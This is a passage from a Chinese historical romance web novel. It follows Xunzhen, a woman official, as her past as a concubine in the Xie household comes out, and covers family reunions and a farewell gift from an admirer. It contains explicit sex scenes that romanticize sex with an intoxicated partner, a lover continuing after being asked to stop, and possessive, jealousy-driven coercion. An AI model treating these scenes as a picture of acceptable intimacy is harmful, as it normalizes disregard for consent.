他带回个姓赵的女子,收作妾室。 吕淑宁还打听到,这赵氏先前嫁过人,当初为她那枉死的丈夫击鼓鸣冤,才和谢付有了牵扯。 此后,谢付夜夜宿在赵氏房中,只在初一、十五才到正房。 吕淑宁时常看见二人对视,情意绵绵。 赵氏头一个儿子,谢彦成,自幼聪颖,三岁能诗,七岁通经义。反观吕淑宁的儿子谢怀礼,启蒙开智比庶弟晚了足足半年,资质愚钝。 而谢付也更看重庶子,还许赵氏亲自抚育。她的儿子身为嫡长子,却始终未得父亲半分偏爱。 待吕淑宁诞下女儿,赵氏又有了身孕。 吕淑宁再也无法忍耐,她暗中指使下人,趁着赵氏生产时动手脚,赵氏血崩而亡,果真又生下一个儿子。 这孩子一落地,就被抱到吕淑宁跟前养着。 吕淑宁自是万分用心,将谢佑养成只懂吃喝玩乐的纨绔。 后来,谢付去了,吕淑宁成了谢府的老祖宗,可算过了几年舒心日子。 谢佑某夜醉后,幸了一个烧火丫头,竟让那丫头有了身子,等生下孩子,丫头就没了命。谢佑荒唐,将那孩子丢在后院那堆莺莺燕燕里,连名字都没给取,就那般放养着。 后来,族里办家宴,谢二爷突然想起谢佑还有这么个儿子,才让人把孩子领过来。 但见七岁童子眉目清寂,举止间竟有老成持重之态。 就那么立在所有人面前,神色自若,毫无怯意。 有点眼力见儿的都瞧出来了,此子不凡,日后必成大器。 谢二爷当庭考校才学。 那七岁童子对答如流,出口成章。谢佑肚子里本就没几滴墨水,府里也没给他请先生。细问才知,谢佑偶尔来了兴致,才教他几个字。这孩子大多时候都是自己看书,竟把谢佑书房里的书都看了个遍。 谢二爷抚掌大笑,之后,便将他带在身边亲自教养。 为他取一字,漼。 此后,谢漼的才华再也盖不住了。 吕淑宁心下难平。 后来,谢漼带回个青楼女子,吕淑宁心中只道,果然与他祖父一个德行。 吕淑宁便做主,给谢漼说亲,欲从她娘家择一女。谢彦成面有不豫,那眼神明显是看不上她娘家。 吕淑宁只笑:“五郎若瞧不上,便打发了那贱籍,我自会为他寻门好亲事。” 谢彦成无言以对。 于是,吕淑宁回娘家挑人。 一眼相中了吕令萱。 吕淑宁妒了一辈子。 妒那赵氏出身低微,却能独得夫君宠爱。 妒她子孙,个个有出息。 吕淑宁恨。 她这一生本该顺遂,嫁进士,封诰命,享尊荣,奈何被一贱妾压了一头,这辈子的念想全成了空。 那日见到柳氏,仿佛瞧见了 赵氏的影子。 柳氏眼神清亮,见了人不卑不亢,虽身份低微,却隐隐有股傲气,没把自己看轻半分。 一个下贱胚子,偏生有这等心气。 明明那么低贱如泥。 …… 吕淑宁闭上眼,眼角溢出泪来。 这一辈子,就快走到头了,可她的心,从未有过片刻安宁。 她此生都无法圆满。 当夜,谢二爷从二夫人口中得知寻真来过,沉默良久。 原先,他还有些不信,便派人去问了谢漼。 没想到,甄善美真是柳氏。 孙宜人没察觉到丈夫的异样,感叹道:“竟没想到,那柳氏竟有这番造化。从前是我有眼无珠,把人看轻了!谢府曾对她多有怠慢,如今她飞黄腾达,怕是不愿再与我们往来了。”她顿了顿,又叹,“这般巾帼豪杰,实乃女中翘楚,令人钦佩。” 寻真这事儿,在官场、文人堆里传得热闹,京中贵妇圈里更甚。众人皆知“甄善美”曾在谢府为妾,纷纷来问孙宜。孙宜只觉面上发烫,从前因嫌弃柳氏是贱籍,几乎从不与她交谈,如今被问起,一个字都说不出。 谢彦成道:“柳氏能有今日,确有大才。从前,我也小看她了。” 须臾,又道:“睡吧。” 黑暗中,谢彦成辗转反侧。 士人毕生所求之境,大致可分三等。 一为少年登科,三元及第。 二乃封侯拜相,名留青史。 三则最难——功在社稷,享万世香火。 若是个男子倒也罢了,偏偏这人是女子,还是昔日自己正眼都不瞧的妾,如今却达成了许多士人穷极一生都难以企及的高度。 谢二爷望着帐顶,久久未眠。 第154章 第154章“醉态” 寻真的身份公开后,谢漼便立刻派人去城外将墓碑给毁了,连同甄凌的一起。 永望问:“可要将那二人尸首掘出?” 如今真儿安好,那二人也付出了生命的代价,便留个全尸吧。 谢漼:“不必,换上无字碑。” 寻真安顿好容楣,本打算直接回去,马车行至一半,忽然想起—— 望仙楼。 这座京都最豪华的酒楼,她早就想去看看了。 远远望去,望仙楼气势恢宏,门楼巍峨耸立,门口悬着两个大红灯笼,门前一对汉白玉狮子,威风凛凛,墙壁上绘着美人壁画,色彩艳丽。 寻真目光一扫,忽而注意到酒楼旁有家小画坊,牌匾上三个红底金字——兰香居。 寻真心念一动,让车夫停下。 寻真走进画坊,目光在墙壁周围悬挂的画作上游移,凑近细看,发现均无落款印章。 这画风,倒跟月兰的有点像,随便找了个店员,问:“这些画作,出自何人之手?” 学徒道:“乃我家娘子妙笔。” 寻真问:“不知你家娘子如何称呼?” 学徒微微一诧,试探问道:“郎君莫不是初到东都?” 寻真道:“何出此言?” 学徒道:“我家娘子兰夫人,可是赫赫有名的大画师。如今兰香居在京中开了十二家分号,莫说本地富贵人家,便是那西域胡商、江南文士,都专程来求画。听大人这口音不似本地人,又不知夫人名号,小人故有此问。” 兰夫人。 听着很像月兰? 寻真笑道:“你猜得不错,我确是初到京都。观你家娘子的画,敷彩细腻,笔法精妙,不知娘子可在?某欲讨教一二。” 学徒道:“不巧得紧,兰夫人方才出去了。”心道,方才也不知怎了,听大伙闲聊朝堂那位新晋女官,娘子忽地停下手头事,脸色瞬间变了,抓着人问个不停,问完后又哭又笑,恍恍惚惚就走了。 那就下次再来吧。 寻真走出画坊,迈进隔壁的望仙楼。 小二将她引到三楼雅间。 雅间门口、窗边垂着珠帘。寻真撩开珠帘,倚窗远眺,主楼与副楼间架着飞桥,桥上乐师们正在演奏乐曲,仙乐飘飘,萦绕耳畔。 寻真边听曲,边吃菜、饮酒,只觉身心俱畅。 心想,下次带凌凌来,让她也享受享受。 这酒带着淡淡的桂花香,寻真喝了一小壶,有了微微醉意,起身时步子稍稍不稳。 这酒好喝,寻真又打了一壶准备带回去。 坐上马车后,酒劲渐渐涌上来,寻真感觉眼前晕乎乎的,靠着车窗打起盹来。 不知过了多久,车夫在外面喊道:“大人,到了。” 寻真直起身,只觉车厢仍在摇晃,下了马车,便见一个黄衣女子朝她奔来。 来人正是月兰,她眼中泪光闪烁。 自寻真和引儿“出事”后,她几乎夜夜被噩梦纠缠,无数次自责。 若当初自己在,她们二人是不是就不会遭遇不测了? 这些年,她一直深陷内疚与自责之中,无法释怀。 今日听学徒说起朝中的奇事,便立刻赶了过来。 这些年,她一直与瑞宝、康顺他们保持联系,也知晓谢漼的住处。 奔到寻真面前,月兰刚要唤出口,又止住。思忖片刻,她直接改口道:“大人!” 寻真握住了月兰的手,唤道:“月兰!” 月兰落下两行清泪,哽咽道:“大人……您,真的没死……” “别哭,别哭……”寻真擦了擦月兰的泪,揽住她的肩,“我们进去说话……” 月兰应了一声,与寻真一同往里走。 月兰才注意到寻真脸色泛红,脚步虚浮,搀住了寻真,问:“……您喝了酒?” “嗯,我刚才去望仙楼喝酒了……”说着,寻真晃了晃手里的酒壶,“对了,我还看见了一家画坊,叫兰香居,月兰,是你开的店吗?” 月兰扶着她往正堂走,缓缓说道:“离了谢府,爷给了我一大笔银钱,足可保我余生丰足。只是我不惯闲着,便盘下一家铺面做些营生。若不是大人从前让我学画,哪有我今日?大人的恩情,我始终记在心里呢。” 寻真看着月兰。 月兰变了好多。 听月兰讲述时,语气沉稳又练达,明显是在外头见惯了世面养出的气度。再看她神情,眉宇间添了几分锐意,暗藏锋芒。 寻真早知道月兰厉害,是个多面性人才。 从前在谢府,月兰既能管人,算账也厉害,做事更是滴水不漏,将整个院子打理得井井有条。若生在现代,定是成功的事业型女性。 寻真笑着问:“听说你在京中已开了十二家分号?” 月兰点了点头。 寻真:“真厉害!” 月兰面颊微赧,道:“明年还打算在华州、同州各置一间铺面,且试试看。” 寻真:“你肯定行。” 月兰的耳尖红了,脸上还有泪痕,从腰间拿出帕子来,擦干净。 二人至里屋,寻真示意月兰落座。 寻真给月兰倒茶时,月兰忙站起来了,扶住茶壶,道:“这怎使得?让我来吧,大人。” 寻真按了下她的手:“我来。” 茶倒好了,月兰微微起身,接过,“大人,我听瑞宝说,引儿在苏州?” 寻真:“正要与你说她呢。如今她已改名为甄凌,乃凌云之志之‘凌’。” “与我同籍,是我妹妹了。” “你若不嫌弃,也跟她一样,唤我姐姐,如何?” 月兰重重点头,声音微涩,轻声唤道:“……姐姐。” 寻真抱了抱她,道:“等过些日子,我叫人把甄凌接来,咱姐妹三人好好聚聚,我请你们去望仙楼小酌,怎么样?” 月兰:“好。” 月兰离开后,寻真靠在椅背上。 感觉酒劲又涌了上来,眼前阵阵发昏。 这酒喝起来淡,后劲倒是挺足的。 寻真目光放空,望着前方,忽然有一团阴影笼罩下来。 寻真仰头望去,认真看了许久,道:“……漼漼?” 那团阴影俯下身,微凉的指尖擦过她的脸颊。 谢漼:“喝酒了?” 寻真 觉得那触感十分舒服,脸贴过去,他却把手收回,背到身后。 寻真盯着那个方向。 “我自己一人去喝的,答应了你,就不会反悔,跟别人喝……” “望仙楼,我早就想去看看了,没想到现在才能如愿……我现在什么都有了,再也没什么遗憾了……” 她迷迷糊糊地说着,话语有些颠三倒四。 “再也没什么想要的了?” 他声音温柔。 那大掌再度伸来,轻轻摸了摸她的脸。 寻真两手捉住,脸贴着,蹭了蹭,唔了一声。 “怎喝得这般多……”那声音似带着几分无奈。 谢漼的脸近在咫尺,寻真对上那一双桃花眼,痴痴唤道:“漼漼……” 寻真指了下案上的酒:“桂花酒,可好喝了,我特地给你带了一壶。” 谢漼问:“喝了多少?” 寻真竖起一根手指,抵在鼻子前。 谢漼:“一壶?” 寻真点了一下头,脑袋渐渐耷拉下去。 过了一会儿,她像是突然想起什么,问道:“说到酒,漼漼,我记得我好像酿了两坛葡萄酒来着……你有没有记得喝?” 谢漼:“记得。” 寻真:“好喝吗?” 谢漼:“嗯。” 寻真摸着谢漼的脸,“漼漼……” 谢漼应了一声,而后将她抱起。 寻真软倒在他怀里,再唤:“漼漼……” 浴房中,雾气氤氲。 寻真感觉擦在自己身上的力度温柔又舒服,困意阵阵袭来。眼睛快闭上之时,听到耳旁有人说,“真儿,手抬起来。” 她迟钝地说:“……嗯?” 谢漼抓起她一只手,“乖,自己抬着。” 寻真嗯了一声,听从。 在热水蒸腾的雾气中,她的脑子越发混沌了。谢漼让她做什么,她便做什么。 寻真觉得洗得实在有些久了,她累了,想躺下,便催促道:“好了吗?” “……很快。”谢漼的声音哑了。 许久,寻真的身子终于被擦干。 谢漼再度将她抱起,朝卧房走去。 一路上,谢漼走得艰难,低下头看,那脑袋不住地往他胸前钻,使劲蹭。刚将她放下,整个人缠了上来,八爪鱼般紧紧将他环住,嘴里还喃喃唤着:“漼漼,漼漼……” 谢漼从未见过她醉态,没想到,她醉后竟如此缠人。 谢漼快招架不住了。 寻真咦了一声,手向他腰间摸去。 谢漼呼吸一滞,抓住寻真的手腕,低哑着声道:“真儿,莫闹。” 意识模糊间,寻真想起谢漼的病,自己打了一下自己的手。 嘴上没了遮拦:“我忘了,你心疾还没完全好呢,不能太劳累……你还总是逞强,算了算了,还是等你完全好了再说……” 谢漼本不想趁她意识不清时与她欢好,可她这话实在气人,他俯下身,舔了舔寻真的耳垂,诱她:“不若,只来一次?” 寻真思考状,须臾,道:“好,那就一次。” 床帐缓缓晃动着。 谢漼看着面前之人,脸蛋泛红,眼波朦朦胧胧,似是含了一层雾。口中低低絮语,如呓语般,听不真切。 谢漼只觉她这般醉态,美极,真想将她此时的模样画下来。 但床帏间的绮景画入纸上,终究不妥。 谢漼便暗暗记在心里。 谢漼心中忽生一念,想看她的泪,听她动情娇泣。 力便重了。 很快便看到了。 她粉面垂珠,向他讨饶。 哀哀求恳。 第155章 第155章“我还以为…”…… 谢漼失控了。 还是寻真拼尽最后一丝力气,手掌抵住谢漼的胸,有气无力,道:“谢漼,快停下……” 谢漼显然已完全失了理智。 寻真失神地望着前方,有很长一段时间,眼前白光刺目,不知自己置身何地,只感觉魂魄像是飘了起来。 恢复意识时,脸颊微微潮湿,谢漼正在慢慢地吻她。 寻真像卡顿的机器,扭过头,对上谢漼的视线,眼中多了几分控诉。 谢漼将她拢在怀里,轻轻在她耳边唤,尾音压得很低:“真儿……”声音挟着歉意。 寻真气若游丝:“我还以为刚才你要弄死——” 谢漼捂住她的嘴,“不许说这个字。” 寻真撅了下嘴:“……不是说好了,只一次吗?” 谢漼:“的确只有一回。” 寻真瞪他。 谢漼忍不住笑,吻了吻她的眼睛。 寻真:“下次不许这样了,憋久了,你那个容易出问题。” 谢漼唔了一声,将脸埋入她发间,深深呼吸着。 寻真看着床顶,回味了下。 而后唤:“漼漼……” 谢漼:“嗯……” 寻真:“你今天怎么比以前厉害这么多?” 谢漼抬起头。 寻真思索状,而后狐疑地打量着他,道:“该不会……” 谢漼眼皮一跳,瞧她眼波流转,藏点点狡黠,后面定不是什么好话。 谢漼又覆手捂住她的唇,正色,朗声道:“我身康健,并无隐疾,都是真儿你误会了。如今这般表现,真儿总该信了吧?” 寻真拉长语调,“哦”了一声,道:“我还以为……” 谢漼默了会,还是没忍住,问:“你还以为什么?” 寻真眼睛弯弯,道:“我还以为你偷偷瞒着我吃了壮阳药呢!本来想跟你说,别为了一时的面子吃这个,很伤身的。” 谢漼沉默。 寻真的眼睛弯起的弧度更深了,啄吻几下他的唇,道:“我信你了。” “你以后都要像今天这么厉害。” 寻真开始正式上值了,跟谢漼在同一个地方,在尚书省的官署,承天门街东侧。 寻真的直属上司是工部侍郎,年约四十,面容威严、不苟言笑。 虽看着凶,但人还不错。寻真原来还有些不安,会因性别遭受刁难,却意外受到了公正对待。工部侍郎还勉励她道:“既入工部,当勤勉尽责,莫负才干。” 小吏将一摞摞文书、档案、账簿放在案头,寻真看了一上午,大致摸清了当前情况。 下午又去实地勘察,看田亩分布与水利设施。进出官署时,总见四五人聚在远处,装作交谈却频频偷瞄她,低声议论。 寻真就直接无视。 日子长了,那些人也不再将她当稀奇看。 如今,寻真与谢漼都成了京官。 寻真便派人将甄凌、甄恒接来都城,甄凌到了后,又叫上月兰,去望仙楼聚。雅间里,甄凌和月兰抱在一起,大哭了一场。 甄凌想留在都城,寻真便给甄凌买了一座宅子,让甄凌把她丈夫也叫来。 “娘!” 一月未见,小恒又高了不少,寻真仰头打量他。 寻真问:“小恒,你是不是又高了?” 甄恒挺挺胸,道:“嗯!足足长了一寸有余!” 长得可真快。 寻真瞅了一眼身旁的谢漼,感觉脖子有点累。 一日饭后,甄恒神神秘秘凑到寻真跟前,道:“娘,我给你看样东西。” 寻真问:“什么?” 甄恒晃了晃手里的钥匙:“娘,你跟我来。” 甄恒打开东边藏物间的门,寻真进去,一眼望见里面的椅子,惊呼道:“人体工学椅!” 寻真快步过去,上下瞧瞧,摩挲着椅背、扶手,问:“小恒,这个哪里来的?” 寻真震惊地看着眼前这椅子,五个脚轮、扶手、椅背、可调节头枕,外观上,几乎与现代的人体工学椅一模一样,工艺也很完美。 难道有穿越老乡? 甄恒道:“是爹做的,我也帮了不少忙呢。” 寻真愣了愣,在原地思索片刻,想起来,是有这么一回事。 甄恒笑道:“我就知道,这是爹做给娘的。” 寻真弯腰,正要搬起椅子。 甄恒忙上前:“娘!我来吧!”然后一把将人体工学椅扛起来了,偏头问寻真:“娘,这椅子放哪儿?” 寻真指了下:“卧房。” 甄恒出了藏物间,快步朝正房走去。 这么大一个家伙,他拿得轻轻松松,一点不费劲。 不过两年,小恒就从小可爱变成一米八几的大高个了。 寻真感觉很神奇。 人体工学椅放在卧房的案前。 寻真:“谢谢小恒。” 甄恒挠挠头,憨笑道:“娘要是有需要,尽管吩咐,我现在力气可大着呢!” 寻真:“好。” 椅子上积了不少灰,寻真用布仔仔细细擦干净,然后坐上去感受,轻蹬地面,轮子便流畅地转动起来,滑向另一边。 谢漼进来时,寻真正盘腿坐在椅子上,手抓着案沿借力,轻轻一推,椅子便转了起来。 他倚在门边静静看着。 寻真余光瞄见谢漼,不玩了,椅子缓缓停下,她勾勾手,唤道:“漼漼!” 谢漼眉眼含笑,大步上前。 寻真抬起双手,要抱抱。 谢漼抱起她。 寻真勾住他的脖子:“怎么都不跟我说,你给我做了椅子呢?” 谢漼道:“可合真儿心意?” 寻真道:“太喜欢了!” “漼漼,你太棒了!” “你怎这么有本事?简直是全天下最全能的人!” 不过是做了把椅子,竟换来她这般夸赞,谢漼心中被汩汩热意填满,眼中笑意深了。 心道,还是得投其所好。 寻真亲了两口他的脸。 谢漼笑道:“一会儿带真儿去个地方。” 寻真:“哪儿?” 谢漼:“去了便知。” 正要出门,谢彦成突然到访。 于私,谢彦成是谢漼的二伯,于公,谢彦成是礼部尚书,官阶比寻真高出许多。不出去问声好,好似有些说不过去。 寻真问:“我要出去跟你二伯打个招呼吗?” 谢漼:“不必,我去即可。” 寻真:“好。” 谢彦成与谢漼谈完公务,临走时,朝正屋望了一眼。听闻侄儿与甄善美如今同住,而甄善美至今未与谢家主动往来,想必是记着当年在谢府的遭遇。他思忖片刻,开口道:“那甄氏今日可在?” 谢漼颔首。 谢彦成道:“当年我们谢家亏欠她,险些害她丢了性命。缮之,你去与她说,若她肯放下旧怨,此后,我家定当以礼相待。” 谢漼:“好。” 谢彦成点点头,正要离开,目光扫过一人。 甄恒正巧从屋内出来,与谢彦成的目光相撞。 甄恒知自己在谢府已是“死人”,便神色如常地移开视线,从容朝另一侧走去。 谢彦成眉微蹙,问道:“那是何人?” 谢漼回头,看了眼甄恒远去的背影,道:“不过新来的小厮,怎了?” 谢彦成只觉那人面容隐隐熟悉,却又想不起在哪见过,摇摇头。 谢彦成走后,谢漼将寻真带去了都城西部的一处宅子。 宅子很大,有五进院落,整座宅子像是建了一半被搁置了,因常年无人打理,显得有些破败荒芜。荒草漫过石阶,门窗残破,廊下蛛网密布。水池表面浮着层绿藻,池水浑浊,呈深绿色。 谢漼牵着寻真的手,慢慢走在小径上。 谢漼:“真儿,我赴濠州治灾前那年冬,可还记得?” 寻真:“嗯,记得,怎么了?” 谢漼:“那时,我已向吏部申请外派泗州,本欲带你一同赴任。又买下此地,等我们回来时,宅子落成,便能带着你和恒哥儿搬进来……谁知,天意难测。” 谢漼本想给她惊喜,等宅子建成了,再带她来看。 “真儿。” 谢漼温柔地唤她一声,轻抚她的脸。 “我早已认定,你是我唯一想共度余生之人。” “那时,我便谋划与你相守的来日,只是前路未明,不敢轻易许诺。” 后来无数夜里,谢漼才明白,有些话若不及时倾吐,或许永远没有机会再说出口了。 寻真:“……是吗?” 谢漼:“嗯。” 谢漼揽着寻真,走进一旁的亭子,坐下,将她抱到膝上。寻真的下巴搁在谢漼的肩膀上,唇动了动,想问,却没开口。 谢漼侧过脸,亲了亲她的唇,低声道:“真儿在想什么?” 寻真:“……没什么。” 回去路上,寻真忍不住想,如果谢漼那时对她说了他的计划。 那么她的选择还会跟现在一样吗? 寻真想不出答案来。 只庆幸。 还好,他没说。 谢彦成回到府中,夜里,躺在床上,白天那张面孔不断在脑海中浮现。 辗转反侧。 谢彦成想了许久,突然发现那人与恒哥儿竟有几分相似。 谢彦成惊出一身冷汗,脑中居然浮现一个不可思议的猜想,想到时,自己也觉得太荒谬,摇摇头,怎么可能?侄儿怎会做出这等事? 却越想越不安,腾的一下从床上坐起。 黑暗中,孙宜问:“怎了,夫君?” 谢彦成:“无事。” 谢彦成又躺下,心道,明日一早,便去找侄儿问个清楚! 第156章 第156章“赠礼” 纪慎拿着案件审理记录,步履匆匆,往法曹厅赶去。回廊下,五六位同僚正低语闲谈,经过时,耳畔飘来一个熟悉的名字,驻足,听了两句,呆了呆,转身问:“你们在说谁?” “自然是甄善美!” 纪慎表情困惑。 近日忙于公务,虽零星听同僚说起女官之事,心中诧异,却无暇探问,只打算忙完再作了解。 见纪慎一脸懵,那同僚笑道:“廷秀竟不知?这甄善美的事迹,早已传扬天下,如今街头巷尾都在议这奇女子呢。” 又一人道:“那甄善美可是苏州府头名解元,在青麓书院念的书,廷秀是苏州人士,想来也是那书院出来的吧?” 纪慎下意识点了点头。 “要说这青麓书院,如今算是出了名儿!教出个女解元,不到两年就中了!听说每年开春招生,书院门口挤得跟庙会似的,门槛都快被踏破了!” “廷秀,你与甄善美年岁相当,又同出青麓书院,可曾见过她?” 纪慎恍若未闻,只问道:“他当真是女子?你们莫要诓我。” “骗你作甚!圣上都下了诏书,还能有假?” 一人取来邸报递给他。 纪慎读完,僵在原地,陷入沉思之中。 想着想着,脸便渐渐红了。 这日,谢彦成一早就到了,被小厮引至书房。 谢漼正立在窗前书写,听到声音,搁下笔,唤道:“二伯。”那神态,似早已料到他会来。 谢彦成神色严肃:“缮之!昨日那人究竟是谁?” 谢漼道:“是恒哥儿。” 谢彦成听到这个回答,呆立许久。 喜于恒哥儿尚在人世的同时,更多的是震惊与不解。他颤着手指向谢漼,半晌,才迸出一句:“你莫不是疯了!” 谢漼道:“二伯,恒哥儿如今已随母姓。” “此事我已禀明圣上。他既入了甄家,日后便为甄家承祧。” “欺瞒长辈,是侄儿之过。侄儿甘愿领受家法。” 谢漼双手高举,深深作揖。 谢彦成盯着谢漼。 谢漼面色淡然,不见半分愧色。 “缮之!你怎会做出这等荒唐事!” 谢彦成只觉气血上涌,脑子犯晕,扶着桌案,揉了揉太阳穴,再看向谢漼,斥道,“你这混账!” 谢漼没有说话。 谢彦成缓了好一阵,才勉强镇定下来。 心道,定是那甄善美蛊惑,迷得侄儿失了心智!昨日还想着与她缓和关系,如今看来,这女子野心昭昭,能以女儿身登朝堂、取功名,绝非善类。 谢彦成深呼吸,再度开口道:“你可为恒哥儿考虑过?” “如今族中孙辈,尚无出类拔萃之人,恒哥儿若留在我博陵谢氏,定举族全力栽培,不比在甄家更有前程?” “这般得失,你可曾想过?” 谢漼道:“自是都想清楚了。” “恒哥儿的前程,二伯不必忧心,以后,若恒哥儿愿入仕,我自会在朝中相助。” “再者,甄善美绝非池中物,他日或能登三槐之位,亦未可知。” 谢彦成沉着脸,盯着谢漼。 谢漼再次躬身,作揖,道:“设计诈死,欺瞒宗族,确是侄儿大错。” “二伯要如何惩处,侄儿绝无怨言。” 谢彦成气极,甩袖坐到椅子上。 气到不想说话。 谢漼软下语气,唤了一声:“二伯。” 谢彦成瞪了过去。 谢漼看着他,缓缓道:“谢家有许多孩子,但她,只有一个。” 谢彦成一句话没说,起身便走,出去又撞见甄恒了。 走廊尽头,甄恒脚步一顿,似要转身避开。 谢彦成:“站住!” 甄恒立在原地,神色有些尴尬。 谢彦成大步上前,步步生风。 走到甄恒跟前。 谢彦成上下打量着甄恒,恒哥儿长大了,高了,眉眼俊朗。 如今长开了,倒是很像那甄善美。 谢彦成冷哼一声,“长了几岁,连我都不认得了?” 甄恒有些心虚,低声唤道:“伯祖父。” 谢彦成的神色稍稍缓和,拍了拍甄恒的手臂,道:“伯祖父今日有事,过几日再来看你。” 甄恒点点头:“嗯。” 谢彦成离开后,这一整日上值都没心情,挂着张脸,下属们见状个个噤若寒蝉,做事愈发小心翼翼。 谢彦成憋着一肚子气回谢府,饭都吃不下。 孙宜屏退下人,为他斟了盏茶,柔声问道:“怎了?谁气到你了?” 谢彦成心中实在难平,却又觉得此事甚是丢人,难以启齿。想着妻子口风严实,便都跟孙宜说了。 孙宜震惊不已,久久没缓过神来,问道:“恒哥儿真的还活着?” 谢彦成哼了一声,道:“这小子,今日见了我还想装不认识!” 谢彦成想起来,还是气,恒哥儿那么小一个娃娃时,他便带着念书了。 教恒哥儿念一遍,恒哥儿便能立即背出来,还从不哭闹,这般乖的孩子,如今跟了亲娘,竟不想认他这个伯祖父了! 想到这里,谢彦成忍不住重重拍了一下几案,道:“这父子俩,都胳膊肘往外拐!” 当夜,谢彦成又睡不着了。 瞪着帐顶直叹气。 恒哥儿活着,固然叫人欢喜,可成了别家的子嗣…… 如今谢家孙辈中,个个资质平平,若再无可造之材,家族荣光恐要断在这一代了…… 可事已至此,气也无用。 寻真那里,大早上的,就被一声怒吼吵醒了。 从床上坐起,听声音,是从书房传来的。 寻真在窗前望,不多时,便见谢彦成从谢漼书房出来,还与小恒碰上,说了几句话。 两人交谈几句后,谢彦成便离开了。 谢漼进卧房,见寻真神色担忧,问道:“吓到真儿了?” 寻真:“嗯,刚听见好响的一声,他骂你了吗?” 谢漼:“二伯只一时接受不了,过些时日就好了。” 寻真点了点头。 谢漼:“不出几日,他定会再来见恒哥儿。” 寻真:“好。” 几日后,谢彦成果然登门。 书房中,谢彦成与甄恒聊了几句,便开始考校学问。甄恒对答如流,谢彦成眼中的赞赏越来越浓,心道,恒哥儿如今的学问,足以应试了。 谢彦成越看越满意,恒哥儿这般乖,不像他那个爹。 可惜,这么好的苗子,却成了别家的孩子。 想着想着,不禁长叹一口气。 甄恒:“伯祖父,你怎了?为何叹气?” 谢彦成:“无事。你爹娘可有为你谋划?何时准备下场?” 甄恒道:“我娘说,由我自己决定。我还想多学两年,等学问更加精进些,再做打算。” 谢彦成听了,心中又是一叹,如今张口闭口都是娘了。 他这乖侄孙,大抵是真的回不来了。 谢彦成只能接受这个事实。 年底一日,有人登门拜访。 瑞宝:“大人,外头有人找,说是您的好友。” 寻真正在书房看书,闻言抬头,问道:“谁啊?” 瑞宝:“姓范。” 范岂? 寻真望向窗外,空中不知何时已飘起雪花。 “请他进来吧。” 过了一会儿,瑞宝又折返,道:“那位大人说了,只同您讲几句话,不必进屋了。” 寻真:“哦。” 寻真撑了一把伞,发现没什么用,雪粒还是斜飞过来,扫到脸上。 寻真抹了一把脸,收了伞,披上斗篷,带上帽兜,小跑出去。 范岂立在门口,他也没撑伞,头上落了一层薄雪。 此次范岂回京述职后获擢升,拿到告身便要赴雍州任职。 进京后,听闻了寻真的事,为她感到高兴。 想了又想,还是决定,在临走前见她一面。 范岂也不明白,为何只那么一面,竟记了这么多年。 或许,情之一字,从来就不由己。 雪越来越大,范岂的头发都湿了,寻真便道:“怀逸,要不你进来坐会儿,喝杯热茶?” 范岂摇摇头,微笑起来,道:“我前几日到京都,便听闻了竞舟你的事。” “竞舟身为女子,却有这般惊世才学,令我叹服。” 寻真笑笑,挠挠头发。 范岂:“明日我便要离京,走前,有个问题想问竞舟。” 寻真:“什么?” 范岂问出的,正是当年寻真与潘竞同去苏州城年终汇报时,范岂曾问过她的那个问题。 寻真一愣,须臾,脱口说出了那八个字。 范岂在心中默念了两遍,瞬时便找到对应的字。 恍若拨开重重迷雾。 纠缠他多年的疑惑,终于得到了解答。 范岂望着寻真,眼中印着她身后的雪色,还有她那双一如既往的明亮眸子。 范岂多看了几眼,转过身,从一旁的马车里取出一个锦盒。 “多谢竞舟为我解惑,这盒中是玉,见时便觉与你十分相称。” “此番前往雍州,这一别,山高水长,不知何时才能再见,此玉便当是临别赠礼。” “祝竞舟得偿所愿,一生自在洒脱。” 范岂递过来,寻真没立刻接下,范岂的手便一直伸着。 寻真犹豫片刻,还是收下了,道:“多谢怀逸。一路顺风。” 范岂颔首,上了马车。 寻真回屋后,打开锦盒,里面是一枚精巧的玉佩。形状是一株稻穗。 寻真捏着仔细看,这玉佩做工很精致啊,应该很贵重吧? 看来,下次见到范岂,得回礼过去,总不能白收别人的吧? 第157章 第157章“姐姐…” 寻真把玩了一会儿,便把这块玉挂到笔屏上。 谢漼正在隔壁处理政务,永望来向寻真禀报时,他听见了动静,抬眼看见她披着斗篷出去,回来时手中还捧着一个锦盒。 谢漼做完手头事,便进了寻真书房。 谢漼立在寻真身侧,眼神掠过笔屏,望了书房一圈,目光最终停留在木架上的那个锦盒,视线定了许久,负手转身,问道:“方才是谁来了?” 寻真:“范岂。” 谢漼:“他找你做什么?” “他跟我说,明天就要去雍州了……范岂应该是升官了。”寻真从笔屏上取下那块稻穗形状的玉,“这是他送我的,作为临别礼。” 寻真将玉翻转:“这玉看上去挺贵重的,我正愁该回赠什么才合适。” 谢漼的视线凝在这块玉上。 寻真:“漼漼,你觉得呢?” 谢漼的目光落回寻真脸上,撩袍在一旁坐下,缓缓道:“真儿,至今还没看出范岂的心思?” 谢漼这话一出,寻真懵了一瞬,回想起方才在雪中范岂看她的眼神,下意识问:“什么意思?” 谢漼直接抛下一个重雷:“范岂曾向我求娶过你。” 寻真更懵了,嘴巴微张,许久才问 :“什么时候?” 谢漼:“恒哥儿百日宴后。” 寻真又呆了呆,半晌,说出一句:“……为什么?” 谢漼道:“既知他的心意,回礼之事,便不必再费心思。” “莫要因此生出无端的纠葛,徒增烦恼。” “真儿,觉得如何?” 寻真恍恍惚惚,依旧懵懵的,应了一声。 所以,范岂早就知道她是女子了…… 当夜,谢漼的气息带着不寻常的灼热。 寻真察觉到他的异样,伸手抚上他的脸:“漼漼,怎么了?” 谢漼覆在她身上,喉间溢出沙哑的低语:“今日这般来,可以么?” 寻真还是最喜欢面对面,这样能看到谢漼的脸,还可以拥抱、接吻。 那姿势,感官被无限放大。 看不见人,全身又被完全包裹,会让她特别不安,身体也会比平常敏感许多。 寻真趴在床上,见谢漼今日的状态不太对,有点犹豫。 谢漼粘稠的声音传入耳中:“真儿……” 寻真还是点了点头,道:“不要太久了。” 得了她的同意,谢漼便环住了她。 浪潮跌宕,几乎将人吞没。 寻真被裹在炽热的气息中,挣扎不得,指甲深深掐进枕头,小腿止不住轻颤、抖动。 谢漼一只手撑在她头侧,另一只手握着她的腰,控制。 寻真气息凌乱,握了一下他的手臂,声音挟着细细颤音:“可以了……” 谢漼覆住,扣在掌心,俯下身,道:“才开始,真儿这便受不住了?” 寻真的脸上布满细细密密的汗珠,咬牙,想要撑起身子。 却被灼热的气息重新覆住,无处可逃。 床帐急遽晃动。 谢漼咬住她发烫的耳垂,声音温柔:“下回,还收其他男人的礼么?” 寻真的脸压在枕头上,汗珠顺着她的鬓角滑落,浸透枕巾。 声音闷得发颤。 